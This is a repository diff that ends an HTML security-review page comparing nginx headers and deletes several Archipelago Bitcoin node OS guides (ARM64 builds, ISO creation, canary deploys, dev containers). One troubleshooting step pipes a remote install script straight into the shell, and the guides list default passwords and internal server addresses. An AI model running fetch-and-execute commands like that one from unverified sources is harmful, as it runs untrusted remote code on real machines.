<td>Content-Security-Policy</td>
<td class="archy-col"><span class="badge badge-green">Full</span> self + WS + frame-src</td>
<td><span class="badge badge-yellow">Basic</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
<tr>
<td>HSTS</td>
<td class="archy-col"><span class="badge badge-green">1 year</span> + includeSubDomains</td>
<td><span class="badge badge-green">Yes</span></td>
<td><span class="badge badge-red">N/A</span> (Tor)</td>
<td><span class="badge badge-red">No</span></td>
</tr>
<tr>
<td>X-Frame-Options</td>
<td class="archy-col"><span class="badge badge-green">SAMEORIGIN</span></td>
<td><span class="badge badge-yellow">Varies</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
<tr>
<td>X-Content-Type-Options</td>
<td class="archy-col"><span class="badge badge-green">nosniff</span></td>
<td><span class="badge badge-green">nosniff</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
<tr>
<td>Permissions-Policy</td>
<td class="archy-col"><span class="badge badge-green">All blocked</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
<tr>
<td>Referrer-Policy</td>
<td class="archy-col"><span class="badge badge-green">strict-origin</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
<tr>
<td>Rate Limiting</td>
<td class="archy-col"><span class="badge badge-green">Dual-zone</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
<td><span class="badge badge-red">None</span></td>
</tr>
</table>
<div class="callout callout-success">
<strong>Archipelago leads on security headers.</strong>
Most node OS projects ship with minimal or no HTTP security headers. Archipelago sets a full Content-Security-Policy, HSTS with 1-year max-age, Permissions-Policy blocking camera/microphone/geolocation/payment, and dual-zone rate limiting — defense-in-depth at the proxy layer.
</div>
<!-- ─── Unique Features ─── -->
<h4>Unique Nginx Features in Archipelago</h4>
<div class="card-grid">
<div class="card-sm">
<h4>Nostr NIP-07 Injection</h4>
<ul class="item-list">
<li>Every app proxy uses <code>sub_filter</code> to inject <code>nostr-provider.js</code> into <code>&lt;/head&gt;</code></li>
<li>Gives all container apps <code>window.nostr</code> for signing</li>
<li>No other node OS does this — unique to Archipelago</li>
<li><code>Accept-Encoding</code> disabled to enable text rewriting</li>
</ul>
</div>
<div class="card-sm">
<h4>Dual Rate Limit Zones</h4>
<ul class="item-list">
<li><strong>rpc zone:</strong> 20 req/s base, burst of 40 — for API calls</li>
<li><strong>auth zone:</strong> 3 req/s — for login/auth endpoints (brute-force protection)</li>
<li>Returns HTTP 429 on violation</li>
<li>Per-IP tracking with 10MB shared memory zone</li>
</ul>
</div>
<div class="card-sm">
<h4>External Site Proxying</h4>
<ul class="item-list">
<li><code>/ext/botfights/</code>, <code>/ext/484-kitchen/</code>, etc. proxy external HTTPS sites</li>
<li>Strips CORS/COEP/COOP headers for iframe embedding</li>
<li>Rewrites <code>href</code>/<code>src</code> attributes to rebase paths</li>
<li>Standalone proxy servers on ports 89018903</li>
</ul>
</div>
<div class="card-sm">
<h4>FileBrowser Security</h4>
<ul class="item-list">
<li>Path traversal blocked: <code>/\.\.</code> patterns return 403</li>
<li>10GB upload limit (<code>client_max_body_size 10G</code>)</li>
<li><code>proxy_request_buffering off</code> for streaming large uploads</li>
<li>Separate protection for <code>/api/resources/</code> and <code>/api/raw/</code> paths</li>
</ul>
</div>
<div class="card-sm">
<h4>SSL/TLS Configuration</h4>
<ul class="item-list">
<li>TLSv1.2 + TLSv1.3 only (no older protocols)</li>
<li>Modern cipher suite: ECDHE-ECDSA + ECDHE-RSA with AES-GCM</li>
<li>Self-signed certificate at <code>/etc/archipelago/ssl/</code></li>
<li>Dual-server setup: port 80 (HTTP) + port 443 (HTTPS)</li>
</ul>
</div>
<div class="card-sm">
<h4>IndeedhHub Complexity</h4>
<ul class="item-list">
<li>Most complex app proxy: URL rewriting, WebSocket, caching</li>
<li><code>_next/</code> assets cached 30 days with <code>immutable</code></li>
<li>WebSocket at <code>/app/indeedhub/ws/</code> with 24h timeout</li>
<li>Rewrites both single and double quoted <code>href</code>/<code>src</code></li>
</ul>
</div>
</div>
<!-- ─── Config Files Map ─── -->
<h4>Nginx Config File Map</h4>
<div class="card">
<table>
<tr><th>File</th><th>Lines</th><th>Purpose</th></tr>
<tr><td><code>image-recipe/configs/nginx-archipelago.conf</code></td><td>~1,100</td><td>Production config — HTTP + HTTPS servers, all routing</td></tr>
<tr><td><code>image-recipe/configs/snippets/archipelago-https-app-proxies.conf</code></td><td>~400</td><td>HTTPS app proxy blocks (included in main config)</td></tr>
<tr><td><code>image-recipe/configs/snippets/archipelago-pwa.conf</code></td><td>~30</td><td>PWA service worker and manifest caching</td></tr>
<tr><td><code>image-recipe/configs/external-app-proxies.conf</code></td><td>~200</td><td>External site reverse proxies (BotFights, 484 Kitchen)</td></tr>
<tr><td><code>neode-ui/docker/nginx.conf</code></td><td>~60</td><td>Dev Docker config (mock backend on :5959)</td></tr>
<tr><td><code>neode-ui/docker/nginx-demo.conf</code></td><td>~80</td><td>Demo mode config (no security, mock backend)</td></tr>
<tr><td><code>docker/bitcoin-ui/nginx.conf</code></td><td>~50</td><td>Bitcoin UI container — RPC proxy with CORS</td></tr>
<tr><td><code>docker/electrs-ui/nginx.conf</code></td><td>~30</td><td>Electrs UI container — status endpoint</td></tr>
<tr><td><code>docker/lnd-ui/nginx.conf</code></td><td>~30</td><td>LND UI container — connect info</td></tr>
<tr><td><code>indeedhub/nginx.conf</code></td><td>~200</td><td>IndeedhHub container — MinIO, API, relay, SPA</td></tr>
</table>
</div>
<div class="callout callout-learn">
<strong>Why so many nginx configs?</strong>
There are three layers of nginx: (1) the <strong>main server nginx</strong> that routes all traffic, (2) <strong>per-app container nginx</strong> configs inside some containers (bitcoin-ui, electrs-ui, lnd-ui, indeedhub) that serve their own SPAs and proxy to internal services, and (3) <strong>dev/demo nginx</strong> configs for local development. Changes to app routing require updating BOTH the main config AND the relevant container config.
</div>
<!-- ══════════════════════════════════════════════════════ -->
<h2 id="data-flow">How Data Flows Through the System</h2>
@@ -1524,5 +2068,37 @@ function updateActiveNav() {
window.addEventListener('scroll', updateActiveNav, { passive: true });
updateActiveNav();
</script>
<script>
function toggleTheme() {
const html = document.documentElement;
const isLight = html.getAttribute('data-theme') === 'light';
const next = isLight ? 'dark' : 'light';
html.setAttribute('data-theme', next);
localStorage.setItem('archy-review-theme', next);
updateToggleUI(next);
}
function updateToggleUI(theme) {
const icon = document.getElementById('theme-icon');
const label = document.getElementById('theme-label');
if (theme === 'light') {
icon.innerHTML = '&#9728;';
label.textContent = 'Dark mode';
} else {
icon.innerHTML = '&#9790;';
label.textContent = 'Light mode';
}
}
(function() {
const saved = localStorage.getItem('archy-review-theme');
const preferred = window.matchMedia('(prefers-color-scheme: light)').matches ? 'light' : 'dark';
const theme = saved || preferred;
if (theme === 'light') {
document.documentElement.setAttribute('data-theme', 'light');
}
updateToggleUI(theme);
})();
</script>
</body>
</html>

View File

@@ -1,114 +0,0 @@
# ARM64 (aarch64) Cross-Compilation Guide
## Overview
Archipelago supports both x86_64 and ARM64 (aarch64) platforms. The backend is compiled natively on x86_64 and cross-compiled for ARM64 targets like Raspberry Pi 5.
## Prerequisites
### On the Build Server (Debian 12)
```bash
# 1. Add the ARM64 Rust target
rustup target add aarch64-unknown-linux-gnu
# 2. Install the cross-linker and C library
sudo apt update
sudo apt install -y gcc-aarch64-linux-gnu libc6-dev-arm64-cross
# 3. Install cross-compilation OpenSSL headers (for reqwest/hyper TLS)
sudo apt install -y libssl-dev:arm64
# If the above fails (no multiarch), use vendored OpenSSL instead:
# Set OPENSSL_STATIC=1 and add openssl = { version = "0.10", features = ["vendored"] }
```
### Cargo Configuration
The cross-compilation config is at `core/.cargo/config.toml`:
```toml
[target.aarch64-unknown-linux-gnu]
linker = "aarch64-linux-gnu-gcc"
```
## Building
### Native (x86_64)
```bash
cd core
cargo build --release -p archipelago
# Output: core/target/release/archipelago
```
### ARM64 Cross-Compilation
```bash
cd core
# Option A: System OpenSSL (requires libssl-dev:arm64)
PKG_CONFIG_ALLOW_CROSS=1 \
PKG_CONFIG_PATH=/usr/lib/aarch64-linux-gnu/pkgconfig \
cargo build --release --target aarch64-unknown-linux-gnu -p archipelago
# Output: core/target/aarch64-unknown-linux-gnu/release/archipelago
# Option B: Vendored OpenSSL (no system packages needed)
OPENSSL_STATIC=1 \
cargo build --release --target aarch64-unknown-linux-gnu -p archipelago
```
### Verify the Binary
```bash
file core/target/aarch64-unknown-linux-gnu/release/archipelago
# Should show: ELF 64-bit LSB pie executable, ARM aarch64, ...
```
## Using `cross` (Alternative)
The `cross` tool uses Docker containers for hermetic cross-compilation:
```bash
cargo install cross
# Build for ARM64 (downloads a Docker image with all dependencies)
cross build --release --target aarch64-unknown-linux-gnu -p archipelago
```
This is the simplest approach and avoids installing system cross-compilation packages.
## Troubleshooting
### `cannot find -lssl` / `cannot find -lcrypto`
OpenSSL headers for ARM64 are missing. Either:
- Install `libssl-dev:arm64` (requires multiarch support)
- Use vendored OpenSSL: set `OPENSSL_STATIC=1`
- Add `openssl = { version = "0.10", features = ["vendored"] }` to Cargo.toml
### `cc: error: unrecognized command-line option`
The wrong linker is being used. Verify `aarch64-linux-gnu-gcc` is installed:
```bash
which aarch64-linux-gnu-gcc
aarch64-linux-gnu-gcc --version
```
### `Exec format error` when running
You're trying to run an ARM64 binary on x86_64. Use `qemu-aarch64-static` for testing:
```bash
sudo apt install qemu-user-static
qemu-aarch64-static ./archipelago
```
## Target Hardware
| Device | Arch | Status |
|--------|------|--------|
| Raspberry Pi 5 | aarch64 | Primary ARM target |
| Raspberry Pi 4 | aarch64 | Supported |
| Rock Pi 4 | aarch64 | Untested |
| Orange Pi 5 | aarch64 | Untested |
| x86_64 NUC/Mini PC | x86_64 | Primary platform |

View File

@@ -1,21 +0,0 @@
# ARM64 Container Image Compatibility
All core Archipelago marketplace apps have multi-arch Docker images with ARM64 (linux/arm64) support.
## Core Apps
| App | Image | Tag | ARM64 | ARMv7 |
|-----|-------|-----|-------|-------|
| Bitcoin Knots | `bitcoinknots/bitcoin` | `latest` | Yes | Yes |
| Electrs | `mempool/electrs` | `latest` | Yes | No |
| BTCPay Server | `btcpayserver/btcpayserver` | `1.13.5` | Yes | Yes |
| LND | `lightninglabs/lnd` | `v0.17.4-beta` | Yes | No |
| Mempool | `mempool/frontend` | `v2.5.0` | Yes | Yes |
| FileBrowser | `filebrowser/filebrowser` | `v2.27.0` | Yes | Yes |
## Notes
- All images use multi-arch manifest lists — Podman/Docker will automatically pull the correct architecture
- No changes needed to `Marketplace.vue` image references — the same tags work on both x86_64 and ARM64
- Three apps also support ARMv7 (32-bit ARM), but Archipelago targets ARM64 only
- Verified 2026-03-11 via Docker Hub registry API manifest inspection

View File

@@ -1,78 +0,0 @@
# ARM64 Raspberry Pi 5 Testing Guide
## Prerequisites
- Raspberry Pi 5 (4GB+ RAM recommended)
- USB flash drive (16GB+) for the installer
- MicroSD card or NVMe SSD for the target install
- Monitor + keyboard (or serial console for headless setup)
- Ethernet connection (WiFi can be configured after install)
## Building the ARM64 ISO
On the build server (192.168.1.228):
```bash
cd ~/archy/image-recipe
sudo ARCH=arm64 ./build-auto-installer-iso.sh
# Output: results/archipelago-installer-arm64.iso
```
## Flashing to USB
```bash
# On macOS
diskutil list # identify USB drive
diskutil unmountDisk /dev/diskN
sudo dd if=results/archipelago-installer-arm64.iso of=/dev/rdiskN bs=4m
# On Linux
sudo dd if=results/archipelago-installer-arm64.iso of=/dev/sdX bs=4M status=progress
```
Or use Balena Etcher for a GUI approach.
## Testing Checklist
### Boot & Install
- [ ] RPi 5 boots from USB drive (may need to enable USB boot in EEPROM)
- [ ] Auto-installer detects target disk (NVMe/SD)
- [ ] Installation completes without errors
- [ ] System reboots into installed OS
### First Boot
- [ ] Archipelago service starts (`systemctl status archipelago`)
- [ ] Nginx starts and serves UI
- [ ] Web UI loads in browser at `http://<pi-ip>`
- [ ] Onboarding flow completes
- [ ] Login works with default password
### Container Stack
- [ ] Podman runs on ARM64 (`podman version`)
- [ ] Bitcoin Knots installs and syncs
- [ ] LND installs and connects to Bitcoin
- [ ] Electrs installs and indexes
- [ ] Mempool installs and shows data
- [ ] FileBrowser installs and serves files
### Performance
- [ ] Backend response time < 200ms for RPC calls
- [ ] UI renders smoothly (no jank)
- [ ] Container startup time reasonable (< 30s per app)
- [ ] Memory usage stable (no leaks over 24h)
## Known RPi 5 Considerations
1. **USB Boot**: RPi 5 needs EEPROM update for USB boot. Run `sudo rpi-eeprom-update` on a stock Raspberry Pi OS first.
2. **NVMe**: RPi 5 supports NVMe via the M.2 HAT. Recommended for performance.
3. **Power**: Use the official 27W USB-C power supply. Underpowered supplies cause throttling.
4. **Thermals**: Consider a heatsink or active cooling case for sustained Bitcoin node operation.
5. **Storage**: Bitcoin blockchain requires ~600GB+. Use NVMe or external SSD.
## Reporting Issues
Document any ARM64-specific issues found during testing:
- Architecture-specific container failures
- Performance differences vs x86_64
- Hardware compatibility problems
- Missing kernel modules or firmware

View File

@@ -1,216 +0,0 @@
# Building Archipelago OS Images
This guide explains how to build bootable Debian Linux OS images for Archipelago Bitcoin Node OS that can be flashed to x86_64 desktop computers (Dell OptiPlex, HP ProDesk 400 G4 DM, Start9 Server Pure, etc.).
## Overview
The build system creates bootable ISO images containing:
- Debian Linux 12 (Bookworm) base system
- Podman container runtime
- Archipelago backend (Rust)
- Archipelago frontend (Vue.js)
- Systemd services
- Network configuration via NetworkManager
## Prerequisites
### macOS
- **Docker Desktop**: [Install Docker Desktop](https://www.docker.com/products/docker-desktop)
- **xorriso**: `brew install xorriso`
- **7zip**: `brew install p7zip`
- **Disk Space**: At least 10GB free
- **Memory**: 8GB+ recommended
### Linux
- **Docker** (optional, for building backend)
- **xorriso**: `apt-get install xorriso`
- **7zip**: `apt-get install p7zip-full`
- **Disk Space**: At least 10GB free
## Quick Start
```bash
cd image-recipe
./build-debian-iso.sh
```
This will:
1. Download Debian Live ISO (if not cached)
2. Extract and customize the ISO
3. Add Archipelago components
4. Create final bootable ISO
Output: `results/archipelago-debian-12-x86_64.iso`
## Build Process
### Step 1: Build Backend (Optional)
If you have local changes to the backend:
```bash
./scripts/build-backend.sh
```
This creates:
- `build/backend/archipelago` - Compiled binary
### Step 2: Build Frontend (Optional)
If you have local changes to the frontend:
```bash
./scripts/build-frontend.sh
```
This creates:
- `build/frontend/` - Static files
### Step 3: Build OS Image
```bash
./build-debian-iso.sh
```
## Flashing to USB
### Using dd (Recommended)
```bash
# macOS
./write-usb-dd.sh /dev/diskN
# Or manually:
sudo dd if=results/archipelago-debian-12-x86_64.iso of=/dev/rdiskX bs=4m status=progress
```
```bash
# Linux
sudo dd if=results/archipelago-debian-12-x86_64.iso of=/dev/sdX bs=4M status=progress
```
### Using Balena Etcher
1. Download [Balena Etcher](https://www.balena.io/etcher/)
2. Select the ISO file
3. Select target USB drive
4. Click Flash
⚠️ **Warning**: Double-check the device path! Flashing to wrong device will destroy data.
## Installation Methods
### 1. Live USB Boot
Boot from the USB to run Archipelago in live mode:
- Test the system without installing
- Changes don't persist after reboot
### 2. Full Disk Installation
From the live environment:
```bash
sudo /archipelago/install-to-disk.sh
```
This will:
1. Partition the target disk (GPT with EFI)
2. Install Debian via debootstrap
3. Install Archipelago components
4. Configure bootloader (GRUB)
## Default Credentials
### Live Mode
- Username: `user`
- Password: `live`
### After Installation
- Username: `archipelago`
- Password: `archipelago`
⚠️ **Change passwords immediately after installation!**
## Customization
### Environment Variables
```bash
# Debian version
DEBIAN_VERSION=bookworm
# Architecture
ARCH=amd64
# Output directory
OUTPUT_DIR=./results
```
## Troubleshooting
### Docker Issues (macOS)
**Problem**: Docker daemon not running
```bash
# Start Docker Desktop application
open -a Docker
```
**Problem**: Out of disk space
```bash
# Clean Docker
docker system prune -a
```
### Build Failures
**Problem**: Backend build fails
```bash
# Check Rust installation
rustc --version
# Install Rust if needed
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```
**Problem**: Frontend build fails
```bash
# Check Node.js
node --version # Need 18+
# Install dependencies
cd neode-ui
npm install
```
### Image Boot Issues
**Problem**: Image doesn't boot
- Verify ISO integrity
- Check BIOS/UEFI settings
- Ensure correct architecture (x86_64)
- Try different boot mode (UEFI vs Legacy)
**Problem**: Services don't start
- Check logs: `journalctl -u archipelago`
- Verify network: `ip addr`
- Check Podman: `podman info`
## Next Steps
After building and flashing:
1. **Boot the device**
2. **Access web UI**: http://device-ip:8100
3. **Configure network** (if needed)
4. **Install apps** via UI
5. **Set up Bitcoin node** (if desired)
## Resources
- [Debian Live Manual](https://live-team.pages.debian.net/live-manual/)
- [Archipelago Architecture](./architecture.md)
- [Development Setup](./development-setup.md)

View File

@@ -1,69 +0,0 @@
# Canary Deploy Process
## Overview
Deploy changes to the secondary server first (192.168.1.198), verify health, then deploy to the primary server (192.168.1.228). This reduces risk by catching issues before they affect the main system.
## Steps
### 1. Deploy to Secondary (Canary)
```bash
# Deploy to secondary server only
TARGET_HOST=archipelago@192.168.1.198 ./scripts/deploy-to-target.sh --live
```
### 2. Verify Health
```bash
# Check health endpoint
curl -s http://192.168.1.198/health
# Check backend service
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.198 "sudo systemctl status archipelago"
# Spot-check the UI
# Open http://192.168.1.198 in browser, verify pages load
```
### 3. Deploy to Primary
Once the secondary is healthy and verified:
```bash
./scripts/deploy-to-target.sh --live
```
### 4. Verify Primary
```bash
curl -s http://192.168.1.228/health
```
## Quick Deploy to Both (Non-Canary)
If you're confident and want to deploy to both at once:
```bash
./scripts/deploy-to-target.sh --both
```
This deploys to 228 first, then copies the built artifacts to 198. Not a true canary — use the step-by-step process above for safer rollouts.
## Rollback
If the canary (198) shows issues, do NOT deploy to primary. Fix the issue first.
If primary (228) shows issues after deploy:
```bash
# Check logs
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 "sudo journalctl -u archipelago -n 50"
# Restart services
ssh -i ~/.ssh/archipelago-deploy archipelago@192.168.1.228 "sudo systemctl restart archipelago && sudo systemctl restart nginx"
```
## Post-Deploy Health Check
The deploy script automatically waits up to 60 seconds for the health endpoint to return 200 after deploying. If it fails, check the backend logs for errors.

View File

@@ -1,50 +0,0 @@
# Community App Review Checklist
Use this checklist when reviewing community-submitted app manifests for the Archipelago marketplace.
## Security Requirements (Non-Negotiable)
- [ ] `readonly_root: true` (or documented justification for `false`)
- [ ] `capabilities: []` — drop ALL, add only required with justification
- [ ] `no_new_privileges: true`
- [ ] `user: 1000` (or UID > 1000, never root)
- [ ] `seccomp_profile: default`
- [ ] `apparmor_profile` specified
- [ ] Image tag pinned to specific version (no `:latest`)
- [ ] `image_signature` field present (Cosign verification)
- [ ] No secrets or credentials in environment variables (use secrets manager)
- [ ] Volumes use `/var/lib/archipelago/{app-id}/` paths only
## Manifest Completeness
- [ ] `app.id` follows kebab-case naming
- [ ] `app.name` is human-readable
- [ ] `app.version` follows SemVer
- [ ] `app.description` is accurate and concise
- [ ] `resources` section has cpu_limit, memory_limit, disk_limit
- [ ] `health_check` configured with reasonable interval/timeout
- [ ] `ports` use non-privileged ports (>1024) where possible
- [ ] `dependencies` listed (storage, other apps)
## Functional Testing
- [ ] Container starts successfully on dev server
- [ ] Health check passes within 60 seconds
- [ ] Web UI loads via nginx proxy at `/app/{id}/`
- [ ] App functions correctly (basic smoke test)
- [ ] Container stops cleanly (no orphan processes)
- [ ] Data persists across container restart
- [ ] Resource usage stays within declared limits
## Integration
- [ ] No port conflicts with existing apps
- [ ] Network policy appropriate (isolated vs archy-net)
- [ ] Dependencies start before this app
- [ ] App icon at `neode-ui/public/assets/img/app-icons/{id}.png`
## Review Outcome
- **Approved**: Meets all requirements, tested on dev server
- **Needs Changes**: List specific issues to fix
- **Rejected**: Fundamental security or compatibility issues

View File

@@ -1,32 +0,0 @@
# Community Growth Plan: Path to 10,000 Nodes
## Current State
- 2 active nodes (dev/test)
- Opt-in analytics backend implemented (Y4-03)
- ISO installer builds automatically
- App marketplace with 35+ apps
## Growth Phases
### Phase 1: Developer Preview (0-100 nodes)
- Release ISO on GitHub
- Bitcoin/sovereignty community outreach
- Documentation and video tutorials
- Bug bounty program
### Phase 2: Early Adopters (100-1,000 nodes)
- Pre-built hardware kits (RPi5, NUC)
- Community forum (Discourse or Matrix)
- Ambassador program
- Conference presentations (Bitcoin, Nostr)
### Phase 3: Growth (1,000-10,000 nodes)
- Partnership with hardware vendors
- App developer ecosystem
- Multi-language support (5 languages ready)
- Paid support tier for businesses
## Tracking
- Opt-in telemetry via analytics.get-snapshot RPC
- Nostr relay-based node discovery (privacy-preserving)
- GitHub stars/downloads as proxy metrics

View File

@@ -1,42 +0,0 @@
# Dependency Audit Log
Tracks monthly dependency updates per MAINT-01.
---
## 2026-03-11 — Initial Audit
### npm (neode-ui)
**Updated packages** (semver-compatible):
- `@types/node`: 24.10.9 → 24.12.0
- `@vitejs/plugin-vue`: 6.0.3 → 6.0.4
- `autoprefixer`: 10.4.23 → 10.4.27
- `postcss`: 8.5.6 → 8.5.8
- `vue`: 3.5.27 → 3.5.30
- `vue-tsc`: 3.2.3 → 3.2.5
- Net result: added 35 packages, removed 53, changed 63 (overall reduction)
**Audit results after update**: 4 high-severity vulnerabilities remaining
- All in `serialize-javascript` ≤7.0.2 (RCE via RegExp.flags)
- Dependency chain: `serialize-javascript``@rollup/plugin-terser``workbox-build``vite-plugin-pwa`
- **Risk**: Low — dev-only dependency, not shipped to users, not exploitable at build time
- **Action**: Monitor for `vite-plugin-pwa` update that pulls `serialize-javascript` ≥7.0.3
**Major versions available (not upgraded — breaking changes)**:
- `@types/node`: 25.x (Node 22+ types — we target Node 20)
- `@vitest/coverage-v8`: 4.x (needs vitest 4.x)
- `express`: 5.x (dev mock server only)
- `jsdom`: 28.x (test env only)
- `tailwindcss`: 4.x (major migration — defer to v1.1)
- `vitest`: 4.x (defer — 3.x working well)
- `vue-router`: 5.x (major migration — defer to v1.1)
### Cargo (core/)
**Status**: Deferred — `cargo update` must run on Linux dev server (not macOS). Will be run during next deploy cycle.
### Test results
- Type-check: 0 errors
- Build: success (2.67s)
- Tests: 515/515 pass (6.83s)

View File

@@ -1,384 +0,0 @@
# Development Container Environment Guide
This guide explains how to develop and test containers in the Archipelago development environment.
## Overview
The development server environment enables:
- Testing prepackaged containers (k484 mortar, atob nostrdevs)
- Installing and running containers with port offsetting for dev
- Simulating Bitcoin Core installation and availability
- Supporting both Podman (preferred) and Docker (fallback)
## Architecture
```
┌─────────────────────────────────────────────────────────┐
│ Dev Server Environment │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Backend │ │ Container │ │ Port │ │
│ │ (Rust) │ │ Runtime │ │ Manager │ │
│ │ │ │ (Podman/ │ │ (Offset) │ │
│ │ │ │ Docker) │ │ │ │
│ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │ │
│ └─────────────────┼─────────────────┘ │
│ │ │
│ ┌────────▼────────┐ │
│ │ Dev Container │ │
│ │ Orchestrator │ │
│ │ - Port offset │ │
│ │ - Bitcoin mock │ │
│ │ - Volume dev │ │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
```
## Prerequisites
1. **Container Runtime**: Podman (preferred) or Docker
- Podman: https://podman.io/getting-started/installation
- Docker: https://docs.docker.com/get-docker/
2. **Rust**: Latest stable version
- Install from: https://rustup.rs/
3. **Node.js**: v18+ and npm
- Install from: https://nodejs.org/
## Quick Start
### 1. Check Container Runtime
```bash
./scripts/dev-container.sh
```
This script will:
- Check for Podman and Docker availability
- Show which runtime will be used
- Provide helper commands
### 2. Start Development Server
```bash
./scripts/dev-start.sh
# Choose option 5: Full stack with container support
```
Or manually:
```bash
# Terminal 1: Backend
cd core
ARCHIPELAGO_DEV_MODE=true \
ARCHIPELAGO_CONTAINER_RUNTIME=auto \
ARCHIPELAGO_PORT_OFFSET=10000 \
ARCHIPELAGO_BITCOIN_SIMULATION=mock \
cargo run --bin archipelago
# Terminal 2: Frontend
cd neode-ui
npm run dev
```
### 3. Install a Container
Via UI:
1. Open http://localhost:8100
2. Navigate to Marketplace or Apps
3. Install a container app
Via RPC:
```bash
curl -X POST http://localhost:5959/rpc/v1 \
-H "Content-Type: application/json" \
-d '{
"method": "container-install",
"params": {
"manifest_path": "apps/bitcoin-core/manifest.yml"
}
}'
```
## Port Offset Strategy
In development mode, ports are offset by 10000 to prevent conflicts with production services:
| Production Port | Dev Port | Example |
|----------------|----------|---------|
| 8332 | 18332 | Bitcoin Core RPC |
| 8333 | 18333 | Bitcoin Core P2P |
| 9735 | 19735 | Lightning Network |
| 8080 | 18080 | Web Services |
This is configurable via `ARCHIPELAGO_PORT_OFFSET` environment variable.
## Container Runtime
The system supports three runtime modes:
1. **Podman** (preferred): Matches production environment
2. **Docker**: Easier local development
3. **Auto**: Tries Podman first, falls back to Docker
Set via `ARCHIPELAGO_CONTAINER_RUNTIME` environment variable.
## Bitcoin Simulation
Bitcoin Core dependency can be simulated in three ways:
1. **Mock** (default): Fast, no actual node required
- Mocks Bitcoin RPC responses
- Satisfies dependencies without installation
- Use for UI and integration testing
2. **Testnet**: Runs real Bitcoin Core on testnet
- Slower but more realistic
- Requires Bitcoin Core container
- Use for testing Bitcoin integration
3. **Mainnet**: Runs real Bitcoin Core on mainnet
- Slowest, most realistic
- Requires Bitcoin Core container and full sync
- Use for final testing
4. **None**: No Bitcoin simulation
- Apps requiring Bitcoin will fail dependency check
- Use when testing non-Bitcoin apps
Set via `ARCHIPELAGO_BITCOIN_SIMULATION` environment variable.
## Testing Prepackaged Containers
### Test a Single Container
```bash
./scripts/test-container.sh <app-id> <package-dir>
```
Example:
```bash
./scripts/test-container.sh k484 ~/k484-package
```
This script will:
1. Build the container image
2. Create a test manifest
3. Install via RPC
4. Start the container
5. Show status and logs
6. Provide cleanup commands
### Test Multiple Containers
```bash
./scripts/prepackage-test.sh
```
This script tests k484 and atob containers if their package directories are found.
## Development Data Directories
Container data is stored in isolated directories:
- **Location**: `/tmp/archipelago-dev/{app-id}/`
- **Purpose**: Separate from production data, easy cleanup
- **Persistence**: Data is preserved between container restarts (optional)
Configure via `ARCHIPELAGO_DEV_DATA_DIR` environment variable.
## RPC Endpoints
All container operations are available via RPC:
### Install Container
```json
{
"method": "container-install",
"params": {
"manifest_path": "apps/bitcoin-core/manifest.yml"
}
}
```
### Start Container
```json
{
"method": "container-start",
"params": {
"app_id": "bitcoin-core"
}
}
```
### Stop Container
```json
{
"method": "container-stop",
"params": {
"app_id": "bitcoin-core"
}
}
```
### List Containers
```json
{
"method": "container-list",
"params": {}
}
```
### Get Container Status
```json
{
"method": "container-status",
"params": {
"app_id": "bitcoin-core"
}
}
```
### Get Container Logs
```json
{
"method": "container-logs",
"params": {
"app_id": "bitcoin-core",
"lines": 100
}
}
```
### Remove Container
```json
{
"method": "container-remove",
"params": {
"app_id": "bitcoin-core",
"preserve_data": false
}
}
```
### Get Health Status
```json
{
"method": "container-health",
"params": {}
}
```
## Environment Variables
```bash
# Enable dev mode
ARCHIPELAGO_DEV_MODE=true
# Container runtime (podman|docker|auto)
ARCHIPELAGO_CONTAINER_RUNTIME=auto
# Port offset (default: 10000)
ARCHIPELAGO_PORT_OFFSET=10000
# Bitcoin simulation (mock|testnet|mainnet|none)
ARCHIPELAGO_BITCOIN_SIMULATION=mock
# Dev data directory (default: /tmp/archipelago-dev)
ARCHIPELAGO_DEV_DATA_DIR=/tmp/archipelago-dev
# Backend bind address (default: 127.0.0.1:5959)
ARCHIPELAGO_BIND=127.0.0.1:5959
# Log level (default: info)
ARCHIPELAGO_LOG_LEVEL=debug
```
## Helper Commands
### List All Containers
```bash
podman ps -a
# or
docker ps -a
```
### View Container Logs
```bash
podman logs <container-name>
# or
docker logs <container-name>
```
### Stop All Archipelago Containers
```bash
podman ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r podman stop
# or
docker ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r docker stop
```
### Remove All Archipelago Containers
```bash
podman ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r podman rm -f
# or
docker ps -a --filter 'name=archipelago-' --format '{{.Names}}' | xargs -r docker rm -f
```
### Clean Up Dev Data
```bash
rm -rf /tmp/archipelago-dev
```
## Troubleshooting
### Container Runtime Not Available
**Problem**: `No container runtime available`
**Solution**:
1. Install Podman or Docker
2. Start the daemon:
- Podman (macOS): `podman machine start`
- Docker: Start Docker Desktop or `sudo systemctl start docker`
### Port Already in Use
**Problem**: Port conflict when starting container
**Solution**:
1. Change port offset: `ARCHIPELAGO_PORT_OFFSET=20000`
2. Or stop conflicting service
### Bitcoin Dependency Not Satisfied
**Problem**: App requires Bitcoin Core but simulation is disabled
**Solution**:
1. Enable Bitcoin simulation: `ARCHIPELAGO_BITCOIN_SIMULATION=mock`
2. Or install Bitcoin Core container first
### Container Fails to Start
**Problem**: Container exits immediately
**Solution**:
1. Check logs: `container-logs` RPC call
2. Verify image exists: `podman images` or `docker images`
3. Check manifest configuration
4. Verify port mappings don't conflict
## Best Practices
1. **Use Mock Bitcoin by Default**: Fast iteration, no sync required
2. **Test with Real Bitcoin When Needed**: Use testnet for integration testing
3. **Clean Up Regularly**: Remove unused containers and data
4. **Check Logs First**: Container logs provide detailed error information
5. **Use Port Offset**: Prevents conflicts with production services
6. **Isolate Dev Data**: Keep dev and production data separate
## Next Steps
